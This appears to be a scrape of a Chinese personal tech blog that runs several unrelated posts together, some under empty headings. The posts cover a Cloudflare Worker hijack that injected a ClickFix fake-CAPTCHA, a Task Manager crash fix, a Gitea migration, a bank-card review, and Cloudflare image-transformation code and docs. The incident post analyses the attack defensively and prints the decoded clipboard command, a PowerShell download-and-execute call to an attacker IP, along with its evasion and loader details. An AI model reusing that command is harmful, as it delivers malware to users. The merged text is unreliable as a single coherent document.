事情的开始是 131 个鬼请求#

11 月 7 号晚上我随手抓了个包，本意是看看博客加载 performance，结果 DevTools 的网络面板里躺着一条我不认识的请求，在被反复调用：

1
GET /_r/sv?sid=489rccrincjrkcgr

一次浏览，131 次，每 3 秒一次，返回永远是 {"done":false}。

我博客是 Astro 静态站，部署在 Cloudflare 上，全站没有一个动态接口。/_r/ 这个路径不是我写的，主题没有，依赖也没有。一个纯静态站每 3 秒轮询一个不存在的接口，这不叫可疑，这叫出事了。

先冤枉了 JS 库#

第一反应是某个 npm 依赖被投毒了。我把整个源码仓库 grep 了一遍，没有。lockfile 检查了 registry 和完整性，没问题。git 历史翻了一遍，最后一次提交是 11 月 1 号，干干净净。

然后我发现问题根本不在代码里。那个恶意脚本不走任何外部 JS 文件，它直接被缝在了我每个页面的 HTML 里——</body> 前面多了一段 56KB 的内联 <script>，博文页、归档页，全中。

这 里面 里藏了什么#

这段脚本写得相当鸡贼。它先跑十几项环境检测：是不是无头浏览器、有没有 Selenium 痕迹、GPU 渲染器是不是虚拟机、DevTools 开没开。任何一项不过，它就装死，什么都不干。

这意味着：扫描器看它没问题，安全研究员开着 F12 看它也没问题，我平时自己调试的时候看它也没问题。它只对”看起来是真实人类、用 Windows、页面可见、没开开发者工具”的访客生效。

全部通过后，它用一段 XOR + Base64 把真正的载荷解出来，扔进 new Function() 里执行。我把密文拎出来解了一下，解出来的东西让我后背发凉：

它会在页面上弹一个高仿 Cloudflare 的人机验证框——就是那种”确认您是真人”的复选框，连样式都照着抄的。你一勾选，它就悄悄把你剪贴板里的东西换成一条命令，然后弹出行图指引：按 Win + R，粘贴，回车，“完成验证”。

而那条被塞进剪贴板的命令，解码后长这样：

1
ssh -o "ProxyCommand=powershell -NoProfile -Command $p = irm 056.076.0241.071/velcap4a ..." nobody@127.0.0.1

几个阴间的细节：

• 056.076.0241.071 是八进制写法的 IP，换算过来是 46.62.161.57。irm 下载、iex 执行，下载即运行，不留文件。
• 套一层 ssh 外壳纯属伪装——在一个技术博客上，一条 ssh 命令看起来太正常了。
• 它还按浏览器分了五个变体，Chrome、Edge、Firefox、Opera、Brave 各一份。
• Mac 和 iPhone 用户它直接放过，剪贴板里写的是空字符串。专坑 Windows。

这套手法有个名字，叫 ClickFix，微软 8 月发过专门的分析报告（TerminalFix 那个），后面通常接的是信息窃取木马或者远控。而那些被它骗了的人，是自己按下回车的——没有任何漏洞利用，纯社会工程学。

顺带一提，它还给攻击者留了后门：每 3 秒轮询一次 /_r/sv，服务端随时可以下发 done: true 让验证框消失。这就是我一开始看到的那 131 个请求——它在等攻击者的遥控指令。

静态站，哪来的动态接口？#

想明白这件事，案子就清楚了一半：/_r/* 下面一整套接口——下发配置的、上报访客 IP 的（先请求 api.ipify.org 拿到你的真实 IP 再上报）、行为遥测的、远程开关——静态托管根本生成不了这些。有人在我的域名前面加了一层。

而且有个细节帮我锁死了结论：我拿 11 月 7 号（感染时）和 11 月 10 号（恢复后）的同页面 HTML 做了字节级 diff——除了那段恶意脚本，一字不差。我的构建产物从头到尾是干净的，注入发生在请求返回的路上。

那就只剩一个地方：Cloudflare。

打开后台，Workers 全没了#

上 Cloudflare 一看，好家伙，账号里 11 个 Worker 少得只剩 3 个，Pages 项目倒是都在。KV 的命名空间还孤零零地活着。

翻审计日志，整件事的剧本如下：

• 10 月 14 号，我创建了一个 API Token（就是给某个一键部署面板用的那种，你懂的）
• 11 月 7 号 00<14>，有人拿着这个 Token 从墨西哥的 IP 进来，4 分钟内一气呵成：创建恶意 Worker → 删掉我原有的 radio 和 tle 两条路由 → 挂上通配符路由 *mckero.com/*。从这一刻起，我整个域名的所有流量都要先过他的 Worker
• 接下来三天，他从全球 30 多个 IP（乌克兰、巴西、印度，还有 AWS 的机器）每 2~6 个小时更新一版脚本，共 25 次部署、23 次更新
• 11 月 9 号 15<06>，一分钟内，10 个国家的 IP 把我的 11 个 Worker 连同他自己那个全删了，跑路
• 全程 75 次操作，全部成功。我的博客被劫持了 63 个小时，而我是在第 21 个小时”碰巧”抓包撞见的，又过了两天才发现真相

他连 Worker 的名字都懒得取——cf-w-ec9b1215，直接拿我的账号 ID 前缀命名的，这是一键部署面板的自动命名规则。也就是说，他作案用的工具，很可能就是泄露我 Token 的那套面板生态。左手偷钥匙，右手开门，还是同一扇。

教训#

1. 永远不要把 API Token 粘给第三方部署面板。 不管那个面板看起来多少人用过、教程写得多好。Token 一旦出门，账号就不属于你了。这次的泄露源十有八九就是它。
2. Token 要最小权限、设过期、一个用途一个。这次攻击者拿到 Token 后只在 Workers 权限里折腾（审计日志里 DNS、SSL 都没动），算是不幸中的万幸。
3. 给博客加上 CSP（script-src 'self' + nonce），内联脚本直接拒执行。这次要是有 CSP，那 56KB 就是一段废代码。
4. 弄个一行的定时巡检：curl 你的博客 | grep -c "可疑特征"，结果非 0 就报警。这次木马存活了 63 小时，其实第 1 个小时就该被发现。
5. 如果你 11 月 7 号到 9 号之间用 Windows 访问过我的博客，并且真的勾了那个”人机验证”、按了 Win+R 粘贴回车——请把那台机器当作已失陷处理：断网、杀毒、改密码。没按过的只是虚惊一场。
6. 开2FA

现在站已经恢复干净了，Worker 在慢慢重建，Token 换成了最小权限的。域名还在（不算坏结局） 就是以后看到”确认您是真人”的复选框，手会停顿那么一下。

真正的直接原因：启动项注册表格式错误#

任务管理器的“详细信息”模式会加载“启动”选项卡，读取开机自启程序列表。这些信息来自注册表：

1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

我检查后发现，Claude Desktop 写入的启动项数据格式不对，引号被多转义了一层：

1
"\"C:\Users\用户名\AppData\Local\AnthropicClaude\claude.exe\" --startup"

这种格式不符合 Windows 规范，任务管理器解析到它就直接崩溃。简略模式不读取启动项，所以小窗口能正常打开，这也解释了“只有点详细信息才闪退”。

这个思路最初来自 CSDN 上洛君No.1 的一篇文章（Win10 任务管理器点击“详细信息”崩溃 + U盘 PPTX 无法删除/复制（0x800700EA）问题排查），他指出此类问题常见于 Claude Desktop 等 Electron 类客户端。不过他文中还提到 U 盘 PPTX 无法删除的问题，我并没有这个症状，所以本文只讲任务管理器闪退。

解决步骤#

1. 按 Win + R，输入 regedit，回车。
2. 定位到 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run（修改前建议先右键该项导出备份）。
3. 找到名为 Claude 的值，双击，把“数值数据”改成正确格式：

1
"C:\Users\用户名\AppData\Local\AnthropicClaude\claude.exe" --startup

注意：路径要换成你自己的实际路径，并且去掉引号前多余的反斜杠 \。

1. 确定后，直接打开任务管理器，切换到“详细信息”，不再闪退。
2. 如果仍不行，可以直接删除这个启动项。这不影响手动打开 Claude，只是不再开机自启。

顺带发现：系统文件损坏#

sfc /scannow 提示有文件无法修复，说明系统组件存储可能有问题。可以用管理员身份打开命令提示符，依次执行：

1
DISM /Online /Cleanup-Image /RestoreHealth
2
sfc /scannow

如果仍然无法修复，建议先备份重要数据，再考虑重装系统。

一个重要的安全提醒#

排查过程中，我曾想“替换”任务管理器，从网上下载过一个 taskmgr.exe，并把它上传到在线沙箱分析。结果让我后背发凉：

• 文件被 PECompact2 加壳
• 内存中释放 Shellcode
• 带有反调试、反沙箱行为
• 会连接外部 C2 服务器
• 创建互斥体 NTShell Taskman Startup Mutex

沙箱判定它是 NTShell 远程控制木马。

好在我只是下载后上传分析，从未在本机运行或安装，所以它和我最初的闪退问题无关。但这件事提醒我们：

• 不要从网上下载 taskmgr.exe 之类的系统组件，这类下载站是木马的重灾区
• 系统自带工具损坏，应使用 sfc、DISM 修复，或从干净的同版本系统中获取
• 下载过可疑文件的话，及时删除并用杀毒软件扫描
• 想要功能更强的替代品，可以用微软官方的 Process Explorer（Sysinternals 出品）

总结#

整件事说明，任务管理器闪退不一定是病毒或系统彻底坏了，很可能只是一条格式错误的启动项。先查注册表 Run 项，往往几分钟就能解决。希望这篇文章能帮到同样被困扰的朋友。

迁移原因#

迁移过程#

我迁移不是因为隐私问题（可能也有个25%吧），而是因为。这个原来的GitHub不好。市面上有那么多的方案，为什么我就选择了Gitea？首先我觉得我可能是受到了Dn42（去中心化网络四十二号）的影响，因为他们的仓库就是用的Gitea！
为什么不选择GitLab？因为我听那个up主说这个平台。这个特别烂，然后各种逻辑也特别怪。但是我看了一下他的还算圆滑，还算漂亮，但是逻辑的话呢，我实在是忍不了。 各有各的好处吧，我听别人说这个平台也比较好用的。我看这个特别圆滑。我也想玩一玩！

我猜有人可能会问我为什么不用国内平台？ 但是我想说的是如果这个平台好，为什么国内的人不去用它？为什么那么多项目都放在GitHub？我没有去恶意抹黑。这是个事实。✅

最后我下定决心，迁移！！！ 其实部署Gitea很简单，按照文档照猫画虎就行。
我研究了一小会儿，跟着文档走，文档说的很全。

体验#

进来后这个界面挺清爽的。除了主界面和GitHub有点区别以外（没有神秘的副驾驶 AI 了🙂）。上方的侧边栏其实都差不多特别熟悉啊。感觉就是扒了一层皮下来。

我也是马上克隆了我的仓库，设置了一些镜像。方便我关注一些原来在GitHub的项目。我也设置了一些推送镜像，方便我在我自己部署的Gitea提交后它会推送到GitHub仓库，防止我这边炸掉了。（相信GitHub不会炸！wow🙃）

结语#

这篇文章也是比较。水我最近的文章风格都是这样子的，然后请原谅我没有用太多的图片，因为用图片太麻烦了，我要先把图片截图，然后呢存在本地，然后再上传到R2。引用回我的编辑器。 （静态博客就是这样子的。如果没有这样子的流程的话呢，我的博客也不可能活那么久。）（因为静态博客的话，我现在完全依附在cf，只有域名需要我每年续费）

这实在也是比较麻烦。我其实也想写一篇文章，。说这种情况，但是想了想算了吧，这个每次码字也好累，我这篇文章用的是openARS的听说功能。（我只是简单纠力纠错，排了排版）

相信有些人已经感觉出来了，这篇文章特别的口语化。hhhhh

总之目前已经尘埃落定了。

招商银行万事达卡#

招行这张万事达卡目前有两个版本：普卡与金葵花卡。

总结#

这张卡的优点比较集中：

1. 纯人民币结算 —— 印象中是国内第一张以人民币结算的 Mastercard
2. 预授权冻结 100% —— 不必为预授权预留额外余额，且官方明确告知冻结比例
3. 3DS 完善 —— 不用担心网站强制 3DS 时因卡片不支持而被拒付
4. 对未成年人较友好 —— 手机银行可自助锁卡、开启境外支付，无需跑网点。权限虽有限，但总比没有好
5. 支持小额免密 —— 开户时柜面主动询问并直接开通，出卡即可挥卡

后续会再写一篇更详细的文章，本篇更偏向于卡片介绍 😂

旧旧方案#

本博客最初用的是纯链接

图片储存在github→第三方镜像源→链接

这样做的好处是方便管理，没那么麻烦。

但是，过程中的第三方github镜像源，在中国大陆方向优化实在是不理想。

所以我就迁移到cloudflare r2了

旧方案#

在用cloudflare r2做图床的时候，我每次都创建文件夹（一个文章一个） 图片都在本地完成格式转换（90%转AVIF，10%转webP），全部长时间缓存在cdn。

但是，我看到了一个github项目（懒得翻找了，想找的可以去我的github仓库列表找）他可以部署在cloudflare worker上 通过在url层面的处理，就可以实现自动格式转换，裁剪，缩放。

其实我就是闲着没事干，才用cloudflare Images，有开源的我不用，闲着没事跑来用有可能让我付费的

url处理#

既然它是用url来处理的，那我的静态博客就要在部署事就把所有我原来在r2上的不是webp和avif的图片url进行处理。

这时候我问claude，它给我推荐了一个rehypeImageOptimization插件 这个插件可以通过配置文件来处理特定url

1
import { visit } from 'unist-util-visit';
2

3
export function rehypeImageOptimization() {
4
  return (tree) => {
5
    visit(tree, 'element', (node) => {
6

7
      // 1. 基础防御：只处理 img 标签且有属性的
8
      if (node.tagName !== 'img' || !node.properties) return;
9

10
      const src = node.properties.src;
11
      if (!src) return;
12

13
      let urlObj;
14
      try {
15
        urlObj = new URL(src);
16
      } catch (e) {
17
        node.properties.loading = 'lazy';
18
        node.properties.decoding = 'async';
19
        return;
20
      }
21

22
      // 2. 业务逻辑：只处理 img.mckero.com
23
      if (urlObj.hostname !== 'img.mckero.com') {
24
        node.properties.loading = 'lazy';
25
        node.properties.decoding = 'async';
26
        return;
27
      }
28

29
      // 3. 不再跳过 WebP/AVIF —— Cloudflare 可以对任意源格式做尺寸缩放，
30
      //    并通过 format=auto 自动为浏览器输出最优格式，所以全部走转换
31

32
      // ============================================================
33
      // ✅ 使用 Cloudflare Image Transformations（/cdn-cgi/image/）
34
      // 直接在 img.mckero.com 上生效，不再依赖 opt.mckero.com Worker
35
      // ============================================================
36
      const generateCdnUrl = (targetWidth) => {
37
        const options = `width=${targetWidth},format=auto,quality=80`;
38
        return `https://img.mckero.com/cdn-cgi/image/${options}${urlObj.pathname}`;
39
      };
40

41
      // 生成四档 srcset
42
      node.properties.src = generateCdnUrl(800);
43
      const s500 = generateCdnUrl(500);
44
      const s800 = generateCdnUrl(800);
45
      const s1200 = generateCdnUrl(1200);
46
      const s1600 = generateCdnUrl(1600);
47

48
      node.properties.srcset = `${s500} 500w, ${s800} 800w, ${s1200} 1200w, ${s1600} 1600w`;
49
      node.properties.sizes = '(max-width: 600px) 100vw, 800px';
50
      node.properties.loading = 'lazy';
51
      node.properties.decoding = 'async';
52
    });
53
  };
54
}

展开收起

这是最新的代码（cloudflare Images图片实时转换的，想参考旧代码请去看github的提交记录

这个代码是AI写的，说实话我本身就不会写代码

如何给astro装插件可以问AI，我只是说可以，没说一定，我也不对这句话产生的一切后果或问题（包括间接产生的）负责！当你使用或者参考了这段代码或者我说的话，代表你已经阅读了本站的隐私政策和免责声明！ 请勿用于生产环境，个人使用或者借鉴请审查！请仔细阅读本站隐私政策！

新方案#

新方案是我在闲着没事的时候想到可以这样玩。

我其实是在逛cloudflare的时候看到了这个Images，还有每月免费转换额度。😃

我就请ai改了插件代码，然后就可以用了

代码看上方的

以下来自cloudflare 文档，原文是英文的，我用ai翻译成Zh_cn，不具参考意义！

文档索引
在以下地址获取完整的文档索引：https://developers.cloudflare.com/images/llms.txt
在深入探索之前，请使用此文件发现所有可用的页面。

跳转到内容

功能#

Cloudflare 使开发者能够通过实时动态生成不同版本来大规模优化图像。

本指南介绍了所有可用于调整图像大小、裁剪、处理和应用视觉效果的参数。

1
https://<ZONE>/cdn-cgi/image/<OPTIONS>/<SOURCE-IMAGE>

1
https://imagedelivery.net/<ACCOUNT_HASH>/<IMAGE-ID>/<VARIANT-OR-OPTIONS>

参数#

anim#

指定是否保留输入文件中的动画帧。

• true（默认）— 输出包含所有帧的动画图像。
• false — 将动画输入的第一帧转换为静态图像。

在放大图像或处理任意用户上传的内容时，建议使用此设置，因为动画 GIF 的文件大小可能很大，从而增加页面加载时间。使用 format=json 时，设置 anim=false 也很有用，可以更快速地获取响应，而无需帧数信息。

原始	anim=false

• URL 格式
• Workers

1
anim=false

JavaScript

1
cf: {image: {anim: false}}

background#

指定一种不透明或透明的颜色来填充图像中的空白或透明像素。默认值为 %23FFFFFF（白色）。

接受以下属性：

• HEX 颜色代码，格式为 %23RRGGBB。
• CSS 颜色名称，例如 white 或 red。
• rgb() 或 rgba() CSS 颜色函数，例如 rgba(250,40,145,0.5)。

背景颜色在具有透明像素的图像中可见，包括使用 fit=pad 调整大小的图像。

原始1080 x 720	输出1080 x 900

• URL 格式
• Workers

1
background=%23ff0000
2
background=red
3
background=rgb%28240%2C40%2C145%29

JavaScript

1
cf: {image: {background: "#RRGGBB"}}
2
cf: {image: {background: "rgba(240,40,145,0)"}}

blur#

对图像应用模糊半径。接受从 0（无模糊）到 250（最大模糊）的整数。默认值为 0。

当通过 URL 进行优化时，不应使用此参数来可靠地模糊图像内容，因为可以修改 URL 以移除模糊参数。相反，您可以通过 Workers 限制对原始图像的访问。

原始	blur=50

• URL 格式
• Workers

1
blur=50

JavaScript

1
cf: {image: {blur: 50}}

border#

在图像周围添加边框。

注意

此功能仅适用于 Workers。

接受以下属性：

• color — 设置边框的颜色。接受任何有效的 CSS 颜色值，例如 #FF0000、rgb(0,0,0) 或 red。
• width — 在所有四边设置统一的边框宽度（像素）。
• top、right、bottom、left — 为单独的边设置边框宽度（像素）。

边框是在图像调整大小之后应用的。边框宽度会随 dpr 参数自动缩放，以确保在高分辨率屏幕上的清晰度。

• Workers

JavaScript

1
cf: {image: {border: {color: "rgb(0,0,0,0)", top: 5, right: 10, bottom: 5, left: 10}}}
2
cf: {image: {border: {color: "#FFFFFF", width: 10}}}

brightness#

使用乘数调整图像的整体亮度。

• 1（默认）— 对原始亮度无更改。
• < 1.0 — 使图像变暗，例如 0.5 表示亮度为一半。
• > 1.0 — 使图像变亮，例如 2 表示亮度为两倍。

原始	brightness=0.5	brightness=2

• URL 格式
• Workers

1
brightness=0.5

JavaScript

1
cf: {image: {brightness: 0.5}}

compression#

选择压缩速度最快的输出格式。接受 fast。默认为 none。

compression=fast 选项优先考虑编码速度，而不是输出质量和文件大小，并且通常会覆盖 format 参数，选择 JPEG 而不是更高效的格式（如 AVIF 或 WebP）。这会略微减少缓存未命中时的延迟，但可能会导致文件大小增加和图像质量降低。

除非在特殊情况下（例如调整不可缓存的动态生成图像的大小），否则不建议使用此选项。

• URL 格式
• Workers

1
compression=fast

JavaScript

1
cf: {image: {compression: "fast"}}

contrast#

使用乘数调整图像最暗和最亮部分之间的整体差异。

• 1（默认）— 对原始对比度无更改。
• < 1.0 — 降低对比度，使阴影变浅，高光变深。
• > 1.0 — 增加对比度，将阴影推向黑色，将高光推向白色。

原始	contrast=0.5	contrast=2

• URL 格式
• Workers

1
contrast=0.5

JavaScript

1
cf: {image: {contrast: 0.5}}

dpr#

通过乘数缩放输出分辨率以匹配用户的特定屏幕密度（例如 Retina 或 4K）。默认值为 1，它以请求的精确宽度和高度提供图像。支持的最大值为 2。

现代设备的物理像素多于 CSS 像素。如果您在高 DPR 智能手机的 300px 容器中提供 300px 的图像，它看起来会很模糊。使用 dpr=2 告诉 Cloudflare 为同一个 300px 容器发送 600px 的图像，从而产生更清晰、更锐利的图像。

dpr 参数可以与 srcset 一起使用，以 提供响应式图像。

width=300,height=200,dpr=1	width=300,height=200,dpr=2

• URL 格式
• Workers

1
dpr=1

JavaScript

1
cf: {image: {dpr: 1}}

fit#

指定图像如何适应目标区域。

适应操作是在设置图像的 width 和 height 尺寸之后执行的。

选项	结果	保持原始纵横比	放大
scale-down (默认)	显示整个图像而不裁剪或放大	Yes	No
contain	显示整个图像而不裁剪	Yes	Yes
cover	填充整个请求区域，必要时进行裁剪	No	Yes
crop	填充整个请求区域，但从不放大	No	No
aspect-crop	裁剪以匹配目标纵横比，但从不放大	No	No
pad	适应目标区域，为剩余区域添加空间	Yes	Yes
squeeze	缩放到精确尺寸，必要时进行扭曲	No	Yes
scale-up	放大时显示整个图像，但从不缩小	Yes	Yes

• URL 格式
• Workers

1
fit=pad

JavaScript

1
cf: {image: {fit: "pad"}}

scale-down#

调整图像大小以适应指定的尺寸，同时保持其原始纵横比，但从不放大图像。这是默认的 fit 行为。

当原始图像小于目标区域时，它以其原始尺寸返回。例如，请求以 2000x2000 提供 1080x720 的图像将返回 1080x720 的图像。

当较大时，它会缩小图像以适应目标区域，同时匹配原始纵横比。

在下面的示例中，1080x720 的图像被调整为适应 500x500 的目标区域。由于 scale-down 保持了原始纵横比（3<2>），因此输出图像的最终尺寸为 500x333。

原始1080 x 720 (3<2>)	请求500 x 500 (1<1>)	输出500 x 333 (3<2>)

contain#

调整图像大小，使其在目标 width 和 height 尺寸内尽可能大，同时保持其原始纵横比。

当原始图像大于目标区域时，它会缩小以适应目标区域（像 scale-down）。

当较小时，它会放大（像 scale-up）。与 upscale 参数配合使用以控制放大图像的算法。要避免放大，请使用 scale-down。

cover#

填充整个目标区域，必要时缩小或放大图像。输出区域始终与请求的 width 和 height 尺寸完全匹配。

当原始纵横比与目标纵横比不同时，图像会被调整大小以覆盖整个目标区域，并且任何溢出部分都会被裁剪。使用 gravity 参数控制裁剪期间保留图像的哪一部分。

与 upscale 参数配合使用以控制放大图像的算法。

在下面的示例中，1080×720 的图像首先被调整为 750×500（匹配请求的高度）以适应目标区域，然后从左右边缘裁剪到其最终的 500x500 尺寸。

原始1080 x 720 (3<2>)	请求500 x 500 (1<1>)	输出500 x 500 (1<1>)

当原始图像小于目标区域时，它会放大。要避免放大，请使用 crop。

crop#

调整图像大小以填充目标区域而不放大。

当原始图像小于目标区域时，它保持其原始大小和纵横比（像 scale-down）。

在下面的示例中，原始图像（1080x720）小于目标区域（1296x1296），因此它保持其原始大小和纵横比。

原始1080 x 720 (3<2>)	请求1296 x 1296 (1<1>)	输出1080 x 720 (3<2>)

当原始图像大于目标区域时，它的行为类似于 cover（填充目标区域并裁剪其余部分）。

aspect-crop#

裁剪图像以匹配目标纵横比，必要时缩小但从不放大。

当原始图像大于目标区域时，它会缩小到仍然填充目标尺寸的最小尺寸，然后被裁剪以匹配目标纵横比（像 cover）。

当原始图像小于目标区域时，它保持其原始大小，但被裁剪以匹配目标纵横比。与保留较小图像的原始大小和尺寸的 crop 不同，aspect-crop 始终强制执行目标纵横比。

例如，在 1920x1120 处请求的 612x613 图像不会被放大。相反，它保持其原始大小并被裁剪为 612x357，匹配 1920<1120> 的纵横比。使用 gravity 参数控制裁剪期间保留图像的哪一部分。

pad#

调整图像大小，使其在尺寸内尽可能大。如果适用，输出区域将被扩展以完全匹配 width 和 height 尺寸。

与 background 参数配合使用以填充任何空白或透明像素。但是，对于 Web 应用程序，您通常可以通过将 contain 选项与 CSS object-fit: contain 属性一起使用来实现相同的视觉效果，从而避免将填充像素编码到图像本身中。

在下面的示例中，原始图像（1080x720）小于目标区域（1080x1080），因此它为剩余像素创建空间。

原始1080 x 720 (3<2>)	请求1080 x 1080 (1<1>)	输出1080 x 1080 (1<1>)

squeeze#

将图像调整为精确匹配请求的宽度和高度，而不裁剪边缘或约束部分。

当原始纵横比与目标纵横比不同时，图像将被扭曲以适应目标区域。

原始1080 x 720	输出1080 x 540

原始1080 x 1080	输出1080 x 540

scale-up#

调整图像大小以适应指定的尺寸，同时保持其原始纵横比，但从不缩小图像。这与 scale-down 相反。

当原始图像大于目标区域时，它以其原始尺寸返回。

当原始图像小于目标区域时，它会放大以适应目标尺寸。使用 upscale 参数控制用于放大图像的算法 — 将 upscale=generate 设置为 AI 驱动的放大，或将 upscale=interpolate（默认）设置为双三次插值。

flip#

水平、垂直或双向翻转图像。

接受以下值：

• h — 水平翻转图像。
• v — 垂直翻转图像。
• hv — 水平和垂直翻转图像。

Flip 可以与 rotate 参数一起使用来设置图像的方向。翻转在旋转之前执行。例如，如果您应用 flip=h,rotate=90，则图像将先水平翻转，然后旋转 90 度。

原始	flip=h	flip=v

• URL 格式
• Workers

1
flip=h

JavaScript

1
cf: {image: {flip: "h"}}

format | f#

指定图像的输出格式。

接受以下值：

• auto — 自动提供请求浏览器支持的最有效格式。当您提供 托管图像 时，这是默认的 format 选项。

• avif — 如果可能，将图像转码为 AVIF。AVIF 编码可能比编码为其他格式慢一个数量级。如果图像太大而无法快速编码为 AVIF，Cloudflare 将回退到 WebP 或 JPEG。

• webp — 将图像转码为 Google WebP 格式。使用 quality=100 返回 WebP 无损格式。

• jpeg — 以隔行渐进式 JPEG 格式对图像进行转码，其中数据以逐渐更高细节的多次传递进行压缩。

• baseline-jpeg — 以基线顺序 JPEG 格式对图像进行转码。应在目标设备不支持渐进式 JPEG 或其他现代文件格式的情况下使用。

• json — 将有关图像的信息作为 JSON 对象输出。这包含诸如图像大小（调整大小前后）、源图像的 MIME 类型和文件大小之类的数据。

• URL 格式

• Workers

1
format=auto
2
f=auto

JavaScript

1
cf: {image: {format: "avif"}}

要将 format=auto 与自定义 Worker 一起使用，您需要解析 Accept 标头。有关如何设置图像转换 Worker 的完整概述，请参阅 此示例 Worker。

用于使用 format 进行图像调整大小的自定义 Worker

1
const accept = request.headers.get("accept");
2
let image = {};
3

4

5
if (/image\/avif/.test(accept)) {
6
  image.format = "avif";
7
} else if (/image\/webp/.test(accept)) {
8
  image.format = "webp";
9
}
10

11

12
return fetch(url, { cf: { image } });

gamma#

使用乘数调整图像的曝光。Gamma 控制中间调亮度，而不影响图像的最暗或最亮部分。

• 0 和 1（默认）— 对原始伽玛值无更改。
• < 1.0 — 增加中间调亮度，使图像整体看起来更亮。
• > 1.0 — 降低中间调亮度，使图像整体看起来更暗。

原始	gamma=0.5	gamma=2

• URL 格式
• Workers

1
gamma=0.5

JavaScript

1
cf: {image: {gamma: 0.5}}

gravity | g#

指定当与 fit=cover 和 fit=crop 一起使用时应如何裁剪图像。默认情况下，Cloudflare 将朝向原始图像的中心点裁剪。

接受 auto、face、一个侧边（left、right、top、bottom）和相对坐标（XxY）。

• URL 格式
• Workers

1
gravity=auto
2
g=auto
3
gravity=face
4
gravity=left
5
gravity=0.5x1

JavaScript

1
cf: {image: {gravity: "auto"}}
2
cf: {image: {gravity: "face"}}
3
cf: {image: {gravity: "left"}}
4
cf: {image: {gravity: {x:0.5, y:0.2}}}

auto#

使用显着性算法自动设置焦点，以检测视觉上最有趣的像素。

当您提前不知道图像内容时（例如对于用户生成的内容），这很有用。对于大型图像库（例如电子商务产品画廊），此功能消除了为每个图像手动设置焦点的需要。

原始	默认裁剪	gravity=auto

face#

根据图像中的人脸自动设置焦点。

这可以与 zoom 参数结合使用，以指定图像应裁剪到人脸的紧密程度。

原始	默认裁剪	gravity=face

照片来自 Suad Kamardeen (@suadkamardeen) 在 Unsplash 上 ↗

left、right、top、bottom#

设置图像不应被裁剪的一侧。

在下面的示例中，1080x720 的图像被裁剪为 1080x400 的区域，从其底部边缘开始：

原始	gravity=bottom

XxY#

设置焦点 (X,Y)，以便输出图像的相对坐标定位在原始图像的相对坐标处。接受格式为 XxY 的坐标对，其中 X 和 Y 是介于 0.0 和 1.0 之间的小数值。

• 水平值 (X) — 0.0 是图像的左边缘，1.0 是图像的右边缘。
• 垂直值 (Y) — 0.0 是图像的上边缘，1.0 是图像的下边缘。

下面的示例使用 0.33x0.5 重力点将 900x900 的图像裁剪为 300x900：

• 原始图像和目标区域都将设置距离左边缘 1/3 宽度和距离上边缘 1/2 高度的重力点。
• 输出重力点的相对坐标定位在原始图像的相对坐标处。也就是说，定位目标区域，使其重力点位于原始图像中的相同相对位置 (0.33, 0.5)。
• 图像的变暗部分显示请求输出之外的区域，该区域将被裁剪。
• 最终裁剪结果捕获围绕重力点 (0.33, 0.5) 的 300x900 内容。

原始	对齐	裁剪	输出

通过 Workers 进行优化时，请使用对象 {x, y} 指定坐标。例如，{fit: "cover", gravity: {x:0.5, y:0.2}} 将裁剪每一侧，以在原始图像高度的 20% 处的点周围保留尽可能多的内容。

height | h#

使用正整数值设置输出图像的高度（像素）。默认情况下，Cloudflare 使用输入图像的原始高度。

设置 height 时，具体行为取决于 fit 参数。

• URL 格式
• Workers

1
height=250
2
h=250

JavaScript

1
cf: {image: {height: 250}}

metadata#

控制应为 JPEG 图像保留的不可见元数据 (EXIF) 的数量。对于所有其他输出格式（例如 WebP 或 PNG），所有元数据将始终被丢弃。

即使丢弃元数据，也会对图像应用颜色配置文件和 EXIF 旋转。

注意

如果启用了 Polish，则所有元数据可能已被删除，此选项将不起作用。

接受以下值：

• copyright（默认）— 丢弃除 EXIF 版权标签之外的所有元数据。

• keep — 保留大部分 EXIF 元数据，包括 GPS 位置（如果存在）。

• none — 丢弃所有不可见的 EXIF 元数据。

• URL 格式

• Workers

1
metadata=none

JavaScript

1
cf: {image: {metadata: "none"}}

onerror#

当致命错误阻止图像转换时，将最终用户重定向到原始源图像的 URL。接受 redirect。默认为 none。

注意

此功能仅通过 URL 接口优化远程图像时可用。不支持托管图像。

此选项仅当图像位于同一区域（接受子域）时才有效。如果原始图像来自不同的区域，则该选项不起任何作用。

这在图像需要用户身份验证且无法通过 Workers 匿名获取图像的情况下可能很有用。但是，如果源图像非常大，则不建议使用此选项。

• URL 格式

1
onerror=redirect

quality | q#

指定 JPEG、WebP 和 AVIF 格式图像的输出质量，表示为固定值或感知质量级别。默认值为 85。

• 固定质量 — 接受从 1（低质量，小文件大小）到 100（高质量，大文件大小）的正整数。
• 感知质量 — 接受 high、medium-high、medium-low 和 low。

当输出格式为 PNG 时，显式的 quality 设置允许使用格式的 PNG8（调色板）变体。

• URL 格式
• Workers

1
quality=50
2
quality=low
3
q=50

JavaScript

1
cf: {image: {quality: 50}}
2
cf: {image: {quality: "high"}}

rotate#

将图像旋转一定度数。接受 90、180 或 270。默认值为 0（无旋转）。

旋转在调整大小之前执行；width 和 height 选项将指图像旋转后的轴。

原始	rotate=180

• URL 格式
• Workers

1
rotate=90

JavaScript

1
cf: {image: {rotate: 90}}

saturation#

使用乘数调整图像的颜色饱和度。

• 0 — 完全去饱和（灰度）。
• < 1.0 — 降低颜色强度。例如，0.5 表示饱和度为一半。
• 1（默认）— 对原始饱和度无更改。
• > 1.0 — 增加颜色强度。例如，2 表示饱和度为两倍。

原始	saturation=0	saturation=2

• URL 格式
• Workers

1
saturation=0.5

JavaScript

1
cf: {image: {saturation: 0.5}}

segment#

通过用透明像素替换背景，自动分离图像的主体。接受 foreground。默认为 none。

此功能通过 Workers AI 使用名为 BiRefNet 的开源模型。阅读更多关于 Cloudflare 的 负责任的 AI 方法 ↗ 的信息。

原始	segment=foreground

• URL 格式
• Workers

1
segment=foreground

JavaScript

1
cf: {image: {segment: "foreground"}}

sharpen#

应用锐化滤镜以增强图像中的边缘定义。接受从 0（无锐化）到 10（最大锐化）的小数值。默认值为 0。缩小图像的推荐值为 1。

原始	sharpen=5

• URL 格式
• Workers

1
sharpen=2

JavaScript

1
cf: {image: {sharpen: 2}}

slow-connection-quality | scq#

每当检测到慢速连接时，覆盖 quality 值。接受与 quality 相同的固定或感知设置。默认为 none。

注意

此功能仅通过 URL 接口在基于 Chromium 的浏览器（如 Chrome、Edge 和 Opera）上进行优化时可用。

要检测慢速连接，请通过标头中的 HTTP 启用以下任何客户端提示：

1
accept-ch: rtt, save-data, ect, downlink

